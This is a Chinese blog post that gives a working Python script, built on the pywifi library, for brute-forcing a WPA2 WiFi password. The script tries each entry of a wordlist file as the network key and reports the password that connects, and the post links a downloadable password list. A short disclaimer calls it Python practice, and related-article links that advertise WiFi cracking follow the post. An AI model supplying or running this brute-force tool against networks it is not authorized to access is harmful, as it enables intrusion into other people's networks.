“破解”WiFi密码——Python代码
首先声明:这个方法不能轻轻松松破译邻居的WiFi密码(除非他的密码很简单)。
代码工作原理大概就是,你把所有你能想到的密码汇集到一个库里,然后通过计算机代替你来一个个试,试中了就是“破解”成功了。
代码如下:
import pywifi
from pywifi import const #引用一些定义
import time
def testwifi(password):wifi=pywifi.PyWiFi() #抓取WiFi接口ifaces=wifi.interfaces()[0] #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口#print(ifaces.name()) #我们可以试试输出网卡名称ifaces.disconnect() #断开网卡连接profile=pywifi.Profile() #定义配置文件对象profile.ssid='root' #wifi名称,貌似不能用中文?profile.auth=const.AUTH_ALG_OPEN #auth - AP的认证算法profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式 akm - AP的密钥管理类型profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密码类型profile.key=password #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONEifaces.remove_all_network_profiles() #删除其他配置文件tmp_profile=ifaces.add_network_profile(profile) #加载配置文件ifaces.connect(tmp_profile) #按配置文件进行连接time.sleep(1) #尝试几秒能否成功连接if ifaces.status() == const.IFACE_CONNECTED: #判断连接状态return Trueelse:return Falsedef main():print("start ...")path=r"C:\Users\Administrator\Desktop\wordlist.txt"files=open(path,'r')while True:f=files.readline()f = f[:-1] #去除了这行文本的最后一个字符(换行符)后剩下的部分print('[-]正在尝试:', f)bool=testwifi(f)if bool:print('[+]wifi连接成功!')print("密码为:",f)breakelse:print("[-]wifi连接失败!")if not f: #如果文件逐行读取完,则退出breakfiles.close()if __name__=="__main__":main()
网上找的一个密码库:https://pan.baidu.com/share/init?surl=v-0IvZzuoFunHu8YuNGyHA 提取码:ntfe
我用jupyter运行的,如果编译有什么问题可以评论或私信我。
这个代码就用来练习一下python吧,不要想着怎么破解别人的WiFi密码了,除非你之前在电脑上连接过,并且人家后来没有改过密码的话,可以在电脑终端查到。
“破解”WiFi密码——Python代码相关推荐
- 教你如何使用Python破解WIFI密码
首先要生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有 ...
- Python练习-破解wifi密码
#是这样的,本想着自己写点啥东西,用python,发现转一圈不知道啥好.就抱着学习的态度,研究了以下破解wifi密码的代码 先贴上代码,然后一段段分析 # coding:utf-8from tkint ...
- 思路+源码,利用Python破解WIFI密码详解,100M的字典已备好
前言 WIFI破解,Python程序员必学技能.WIFI已经完全普及,现在Python程序员没网,走到哪里都不怕! 很多人学习python,不知道从何学起. 很多人学习python,掌握了基本语法过后 ...
- 用Python破解WiFi密码,太刺激了!
来源丨网络 大家好,我是小z,也可以叫我阿粥~ 本文给大家分享的是如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 脚本从无图形和图形界面来分别实现,主要使用的是pywi ...
- 牛逼了,用Python破解wifi密码
Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...
- 用Python破解WiFi密码,太刺激了
前言 本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 无图形界面 先来看看没有图形界面版的爆破脚本. WIFI爆破 import pywifi from ...
- Python破解WIFI密码完整源代码,实测可成功破解
目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低. 4,自己生 ...
- 怎么用python破解wifi密码?
今天六一儿童节,跟大家分享一个有意思的案例:如何使用Python暴力破解WiFi密码 不多说什么直接开始~ 如何暴力破解 我们知道,计算机相比人类,最大的优势就是它能够重复性执行一些任务,但它永远不会 ...
- 用Python破解WiFi密码,亲测有效,简直不能太爽了
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网. 现在我想wifi已经是不能离开我们的生活了吧,最少我是这么觉得,我在家,公司,以及出门基本上都要用到,不 ...
最新文章
- 创建一个Android模拟器
- 市电、三相交流电知识
- 第一章:Flask安装
- 条理清晰的搭建SSH环境之添加所需jar包
- 模拟电梯1.0(类与对象实验)
- 游标 和 锁的概述
- android广播注册源码,android 广播源码简要分析-注册
- 江苏实时分析评价系统项目总结报告
- 浅谈MySQL索引背后的数据结构及算法【转】
- 关于安装centOS精简版ifconfig无效的问题
- 不用代码趣讲 ZooKeeper 集群
- python如何爬有道翻译_python爬取有道翻译
- 初中计算机课师徒结对活动记录,2013师徒结对活动记录
- D. Aerodynamic(思维+计算几何判中心对称图形)
- 博客 Gif 动态图制作 - 插入gif动态图 GifCam
- 从 Debian 10 (Buster) 升级到 Debian 11 (Bullseye)
- css样式 向下补白,div+css[3]:css中边框border与补白padding属性设置
- eNSP配置VLAN
- 记一次windows 10 无法升级问题的处理(系统盘MBR转GPT)
- php上传文件类型判断,PHP上传文件类型判断
热门文章
- 判断客户端是PC还是手机
- 将Hexo环境迁移到Repl
- 读论文1.Preference-inspired co-evolutionary algorithms using weight vectors 使用权重向量的偏好启发式协同进化算法(多目标优化算法)
- 能量原理与变分法笔记17:广义变分原理(识别因子方法)
- 【JoJo的摄影笔记】伪装成道歉信的序言
- pmp通过率都97%,只要考都能过?还有啥价值?
- win7 SP1 原版 32位 百度网盘下载
- hdu 5465(二维树状数组)
- 网络安全管理-检查和关闭勒索病毒传播的通讯协议
- Solidworks输出1:1图纸DWG格式文件参数设置